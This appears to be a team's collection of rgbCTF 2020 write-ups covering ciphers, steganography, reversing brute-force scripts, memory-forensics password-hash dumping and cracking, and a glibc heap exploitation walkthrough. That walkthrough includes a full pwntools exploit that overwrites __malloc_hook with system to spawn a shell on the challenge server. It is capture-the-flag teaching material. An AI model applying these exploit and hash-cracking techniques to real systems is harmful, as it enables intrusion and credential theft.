arrow-left

All pages
gitbookPowered by GitBook
1 of 55

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Adventure

Similar to the original adventure, the flag is hidden in the easter egg thing of adventure

woa decided to diff the original and the given file, and found that 0xD80 to 0xDD0 changed

I went one step further and found an asm breakdown of the game https://github.com/johnidm/asm-atari-2600/blob/master/adventure.asmarrow-up-right

Which shows the easter egg graphic being hidden here

The easter egg is hidden with the byte being converted to binary, and then being shown with a lit pixel as a 1 and an unlit as a 0

We can then take the differenced bytes and do the same to display the flag

I dont know what the flag is but uhhhhhhhh yeah i read it as

rgbCTF{b4c0n_7nd_3665}

Script below:

hashtag
rgbCTF{b4c0n_7nd_3665}

a ="e0 80 80 01 07 e5 a7 60 e0 07 00 80 e7 a1 e3 01 07 60 80 87 84 67 05 07 e0 40 47 44 07 05 e7 80 c0 87 84 07 01 67 40 c0 46 62 03 02 86 e0 a0 e0 00 00 a0 a0 e0 20 20 00 00 e0 80 e0 00 00 e0 a0 a0 a0 e0 00 00 c0 a0 a0 00 00 e0 00 a0 a0 e0 20 20 00 00 c0 a0 a0 00 00 00 00 00 00 00 00 00 00"

a = a.split(" ")
for i in a:
  i = int(i,16)
  b = "{0:b}".format(i)
  c = ("0" * (8 -len(b))) + b
  d = c.replace("1","#")
  print(d.replace("0","-"))

ARM 1

Encrypt flag just takes the value and subtracts 1 from it

hashtag
flag: rgbCTF{ARM_1z_2_eZ_9b7f8d}

sadistic rev 2

hashtag
sadistic rev 2

i honestly dont know it was a mix of bruteforcing the first 32 bytes and then something something IDK OK DONT FUKCIANDOFAJSLDFASDJFL

So since the program will not accept input less than 32 I bruteforced the first 32 bytes And then i realised if i put the start of that at the end it gives stuff So my input became 32494328fdsajsfkl}rgbCTF{hopeful32494328fdsajsfkl} And then i bruteforced from the start again until i got the flag.

hashtag
flag: rgbCTF{hopefully_this_was_harder32494328fdsajsfkl}

Sadistic Reversing 1

Input is taken, something is done to it, and it outputs a list of transformed chars as ascii. We're given a goal string, and by entering 'rgbCTF{' we can see the initial numbers match up. So brrrrrutefoce go brrrr

from pwn import *

goal = [114, 20, 119, 59, 104, 47, 75, 56, 81, 99, 23, 71, 56, 75, 124, 31, 65, 32, 77, 55, 103, 31, 96, 18, 76, 41, 27, 122, 29, 47, 83, 33, 78, 59, 10, 56, 15, 34, 94]
outs = "rgbCTF{"
import string, subprocess
chars = string.printable
while True:
    currentgoal = repr(goal[:len(outs)+1])
    for c in chars:
        process = subprocess.Popen(['./itJX.so', outs+c], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = process.communicate()
        if currentgoal in out:
            outs += c
            print(outs)
            break

hashtag
rgbCTF{th1s_pr0bably_w@s_d1ff1cult6362}

robins reddit password

This is the url needed to solve the challenge:

hashtag
rgbCTF{bird}

https://www.reddit.com/r/ProgrammerHumor/comments/78aa07/reddit_host_a_joke_etcpasswd_with_hashes_for/dottnmn?utm_source=share&utm_medium=web2xarrow-up-right

beginner

A Basic Challenge

binary > hex > octal > base64

hashtag
Flag: rgbCTF{c0ngr4ts_0n_b3ing_B4SIC}

Joke check

This one is just a Caesar cipher

hashtag
flag: rgbCTF{a_chicken_caesar_salad}

Shoob

Chuck it into

We then get an image revealed which contained the flag inside.

hashtag
Flag: rgbCTF{3zier_4haN_s4n1ty}

https://incoherency.co.uk/image-steganography/#unhidearrow-up-right

fine day

just use this online tool: Its a substitution cipher

hashtag
flag: rgbCTF{a_fine_affine_cipher}

linkarrow-up-right

Pieces

Each character is divided by two, if it evenly divides | is used, else /.

I just had to multiply each ascii value by two, then add 1 accordingly.

inp = "9|2/9/:|4/7|8|4/2/1/2/9/"
for i in range(0, len(inp), 2):
    char = ord(inp[i])
    mod = inp[i+1]
    char = char*2
    if mod == '/':
        char+=1
    print(chr(char), end='')

hashtag
rgbCTF{restinpieces}

Name A More Iconic Band

volatility image, use hashdump

volatility -f data --profile=Win7SP1x64 hashdump

Use crackstation to crack them, then cyberchef to hash them

https://gchq.github.io/CyberChef/#recipe=Sort('Line feed',false,'Alphabetical (case sensitive)')Find_/_Replace(%7B'option':'Extended (%5C%5Cn, %5C%5Ct, %5C%5Cx...)','string':'%5C%5Cn'%7D,' ',true,false,true,false)MD5()&input=c3VwZXJjb2xsaWRlcgphbnlvbmUgY2FuIHBsYXkgZ3VpdGFyCm15IGlyb24gbHVuZwprYXJtYSBwb2xpY2UKaWRpb3RlcXVlCnB5cmFtaWQgc29uZwp0aGVyZSwgdGhlcmUKd2VpcmQgZmlzaGVzL2FycGVnZ2kKbG90dXMgZmxvd2VyCmJ1cm4gdGhlIHdpdGNoarrow-up-right

hashtag
rgbCTF{cf271c074989f6073af976de00098fc4}

Shakespeare Play, Lost (and found!)

Each line has two numbers. I guessed that the numbers were encoding

line of play, character of line

So, just write a script to parse the data, then grab the appropriate lines and characters, then concatenate to get the flag.

hashtag
Flag: rgbCTF{itsanrgbtreeeeeee!}

play = """A long lost play about trees, written exclusively by Shakespeare for RGBSec.

Romeo, apparently a rapidly changing multicolored tree.
Hamlet, a person who can't make up his mind.


                    Act I: Colorful Tree.

                    Scene I: Fast-changing Tree.

[Enter Hamlet and Romeo]

Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a red green blue red green tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a red tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green blue tree! You are as lovely as the sum of a  tree and thyself! Speak your mind!
Hamlet: You are nothing! You are a red green blue red green tree! You are as lovely as the sum of a red green blue red tree and thyself! You are as lovely as the sum of a red green blue tree and thyself! You are as lovely as the sum of a  tree and thyself! Speak your mind!
[Exeunt]
"""
nums = """33, 20
71, 5
43, 142
60, 150
73, 312
78, 66
15, 22
12, 115
29, 18
51, 147
45, 68
34, 14
54, 126
15, 48
3, 4
60, 126
45, 77
13, 69"""
nums = nums.split('\n')
nums = [[int(x) for x in y.split(', ')] for y in nums]
play = play.split('\n')
flag = ''
for pair in nums:
    flag += play[pair[0]][pair[1]]
print(flag)

Differences

A Java file where some of the bytes have been corrupted to non-printable values. I went through and corrected it:

import java.util.*;
public class DifferenceTest {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        System.out.print("Enter first number: ");
        int num1 = sc.nextInt();
        System.out.print("Enter second number: ");
        int num2 = sc.nextInt();
        int answer = num1 - num2;
        System.out.println("The difference is: " + answer);
    }
}

Then used:

f1 = open('DifferenceTest.java', 'rb').read()
f2 = open('Corrected.java', 'rb').read()
f1 = list(f1)
f2 = list(f2)

for one, two in zip(f1,f2):
    if one != two:
        print(chr(one-two), end='')
print('')

This takes the difference between any non-matching bytes and prints them as ascii

rgbCTF{tr1pl3_m34n1ng}

Picking Up The Pieces

so basically i grepped for flag format `CTF{`` from here we can simply just follow where the string goes (so use the endpoint of the previous as the next starting point)

135893 137329 287162841 bCTF{
137329 146596 54796009 1m_b
146596 152272 373997764 4d_4

hashtag
rgbCTF{1m_b4d_4t_sh0pp1ng}

misc

rgbCTF

These are all the writeups for rgbCTF 2020 where we came 3rd. It was an amazing ctf with some great challenges.

Soda Pop Bop

House of force + tcache_perthread_struct overwrite/tcache poisoning

Let's break down the main execution of the program. You input the party size, and it mallocs the party size << 5. Essentially, the party size * 32.

This is so that it can allocate enough party member structs, where the party member struct looks like this

If we're "all alone"(party size less than 2) it reads a name into the malloc-ed chunk and initialises the drink to 0xffffffffffffffff

This is where the vulnerability lies.

If we give a party size of 0, malloc will return a 0x20 length chunk(that includes metadata). In essentiality, a party size of 0 will lead to

[0x18 data bytes allocated][top chunk]

This means that if we give a party size of 0, the top chunk's value will be set to 0xffffffffffffffff!

That allows us to carry out the house of force attack by requesting large chunks that nudge the top chunks into other places. But, before we get into that, let's look at the song choosing and singing.

We can sing a song. This causes it to print out the value inside of the chosen_song variable. This is useful for heap and binary base leaks.

The chosen_song variable at first contains a pointer to a string in the binary "Never Gonna Give You Up - Rick Astley", so singing the song gives us a binary base leak we can offset.

Now, we can choose a song. We get to give the song title size, then it malloc's that much, and calls fgets(malloc_ptr,size,stdin); It then sets chosen_song to this new pointer returned by malloc. So by singing a song again after choosing a song, we get a heap leak.

Ok, now what?

The house of force can let us allocate anywhere in memory, but we only know the whereabouts of the heap and binary. Full RELRO's on, so none of that is very useful. We need some way to get a libc leak. That's where the tcache comes in.

Now, you might be confused as of how we can control the tcache without using a single free, but that is how the tcache_perthread_struct becomes useful.

The only useful printing we can do is singing a song. This means in order to leak a libc pointer, we must make malloc return a libc pointer without knowing the libc pointer beforehand.

How?

Let's take a look at the tcache_perthread_struct, which is stored at the very beginning of the heap.

It contains the counts encoded in characters for all the 64 bins, as well as pointers to the start of the bins.

The wonderful thing about tcache is the lack of checks. Because all chunks in a bin are meant to be the same size, it won't check whether or not we are just pointing it to some random memory.

So, we can use the house of force(malloc-ing a chunk with a specific size that when added from the top chunk location it will cause integer overflow that makes malloc place the top chunk back at tcache_perthread_struct) to get the top chunk at the tcache perthread. At this point, the top chunk will have size 0x269. I found that allocating 0x230 was the highest I could get without malloc throwing a hissy fit.

So that's how we gain control of tcache perthread, which gives us full tcache control. What do we do with this?

What if we pointed a tcache bin at an address we know will contain a libc pointer, such that we can malloc once, get that libc pointer at the top of the tcache, then malloc again, returning the libc pointer?

The GOT.

Ok. Let's place a count of 2 inside of the 0x20 bin. Then we can point the bin at puts@got. Let's a choose a song of size 0. Fgets 0 will give no input.

This means the fact that the got isnt writeable will have no effect.

Then if we choose a song with size 0 again, the returned pointer will be puts@glibc, which we can then leak by singing a song.

Brilliant, a libc leak!

Now what?

At this point, the heap is fried. Any more allocations served from the top chunk will cause horrible consequences.

Let's go back to when we had full tcache_perthread_struct control. The 0x20 bin we've already dealt with, but let's abuse some other bins.

We can point the 0x30 bin and the 0x40 bin into a writeable segment inside of the binary.

Hmm, that's cool and all, but how do we arb write? We can't exactly house of force again.

... Or can we?

Well, we can, but I didn't. Instead, I pointed two bins to the exact same location. I gave the 0x30 bin count 1 and the 0x40 bin count 2, and pointed them to the same address

Tcache would be like so

Choose a song of size 0x20, will be served from the 0x30 bin.

0x40 bin -> writeable area -> 0x0

We now have full control over what the 0x40 bin will think is a tcache chunk. Let's write the malloc hook address to it.

0x40 bin -> writeable area -> malloc hook

Choose a song of size 0x30, will be served from 0x40 bin. Now malloc hook is at top of tcache! Choose a song of size 0x30 again, and we'll get an arbitrary write at malloc hook. Let's write system to malloc hook.

Ok, so now we want to call malloc on a /bin/sh pointer. How? We need to input size as a number.

Malloc will call malloc hook on the size.

What we can do is send a size number that is actually a disguised /bin/sh pointer. Malloc will then call system on this number, actually calling system("/bin/sh")

NOTE: The final step didn't work locally for me, but it works remotely. Summarised plan: 1. House of force to get heap chunk pointing to tcache_perthread_struct 2. Put count of 2 inside of 0x20 bin. Set the top of the bin to point to puts@got for example 3. Put count of 1 inside 0x30 bin and 2 inside the 0x40 bin. Point them towards the same place, some writeable segment inside of the binary. 3. Choose a song with length 0. It'll allocate in the 0x20 bin but also fgets 0 will give us no input so no sigsev should occur 4. Top of tcache will have pointer to puts@GLIBC 5. Choose another song with length 0. Returned pointer should be puts@GLIBC. Again, fgets 0 gives no input, no sigsev 6. Sing song, that should print the libc pointer 7. Create a 0x20 length song, will be allocated at the writeable segment. It will ALSO be at the top of the 0x40 tcache, allowing for poisoning. ( see step 3). Set next pointer to malloc hook 8. Create 0x30 length song. Create another. This will be at malloc hook, write system to it 9. Choose a song where the song title size represents the pointer to /bin/sh in libc

We can cat /pwn/flag.txt to get the flag.

Script:

hashtag
rgbCTF{l3ts_g31_th1s_bre@d}

struct member{
  char name[24];
  long drink;
}
typedef struct tcache_perthread_struct

{

  char counts[TCACHE_MAX_BINS];

  tcache_entry *entries[TCACHE_MAX_BINS];

}
# define TCACHE_MAX_BINS                64
typedef struct tcache_entry

{

  struct tcache_entry *next;

}
0x20 bin -> puts@got -> puts
0x30 bin -> writeable area
0x40 bin -> writeable area -> 0x0
So, let's do our two 0 chunk allocations and leak libc.
0x30 bin -> writeable area
0x40 bin -> writeable area -> 0x0
#!/usr/bin/env python3

from pwn import *
PARTYSIZE = 0
e = ELF("spb")
libc = ELF("libc-2.27.so")
context.binary = e
def chooseSong(length, title=b'',dodata=True):
    p.sendlineafter('> ', str(1))
    p.sendlineafter('> ', str(length))
    if dodata:
        p.sendlineafter('> ', title)
def getDrink(member, drink):
    p.sendlineafter('> ', str(2))
    p.sendlineafter('> ', str(member))
    p.sendlineafter('> ', str(drink))

def singSong():
    p.sendlineafter('> ', str(3))
    p.recvuntil('0x')
    ptr = int(p.recvuntil(' '), 16)
    return ptr
def twoscomplement(num):
  if num >= 0:
    return num
  return (0xffffffffffffffff ^ abs(num)) + 1
def conn():
    if args.LOCAL:
        return process(["./ld-2.27.so",e.path], env={"LD_PRELOAD": libc.path})
    else:
        return remote("challenge.rgbsec.xyz",6969)
p = conn()
rickroll = 0xf08
heapoffset = 0x280
topchunk = 0x298
newsize = 0xffffffffffffffd9
p.sendlineafter('> ', str(PARTYSIZE))
p.recvuntil("> ")
p.sendline(str(PARTYSIZE))
p.recvuntil("> ")
p.sendline(b"t")
leak = singSong()
e.address = leak - rickroll
log.info(f"Binary base: {hex(e.address)}")
chooseSong(0x10,b'2nd')
heapleak = singSong()
log.info(f"Heap leak: {hex(heapleak)}")
heapbase = heapleak - heapoffset
log.info(f"Heap base: {hex(heapbase)}")
topchunk += heapbase
perthread = heapbase + 0x10
log.info(f"tcache_perthread_struct: {hex(perthread)}")
reqsize = perthread - topchunk - 16 - 8
reqsize = twoscomplement(reqsize)
log.info(f"Size to request: {hex(reqsize)}")
log.info(f"Size as decimal: {reqsize}")
chooseSong(reqsize,dodata=False)
# Top chunk at tcache_perthread_struct
# Ask for 0x230 size chunk, we get to mess up the tcache
fakestruct = b'\x02\x01\x02'.ljust(64,b'\x00')
fakestruct += p64(e.got['puts']) + p64(e.address + 0x000000000202000 + 0x100) + p64(e.address + 0x000000000202000 + 0x100)
chooseSong(0x230,fakestruct)
chooseSong(0,dodata=False)
chooseSong(0,dodata=False)
libcleak = singSong()
libcbase = libcleak - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
chooseSong(0x20,p64(libc.symbols['__malloc_hook'])) # Put inside of 0x40 tcache bin
chooseSong(0x30)
chooseSong(0x30,p64(libc.symbols['system']))
log.info("/bin/sh pointer as decimal: {}".format(next(libc.search(b"/bin/sh\x00"))))
binsh = next(libc.search(b"/bin/sh\x00"))
p.sendlineafter("> ","1")
p.sendlineafter("> ",str(binsh))
p.interactive()

Object Oriented Programming

So, the source is less obfuscated and more elongated. It's got a lot of bloat, but let's focus on the important things.

  1. We've got a bunch of classes. Each class has a two letter name, and has a bunch of two letter name functions. Each of these functions returns a 2 letter string.

  2. These essentially form a lookup table, pair of chars + pair of chars = another pair of chars

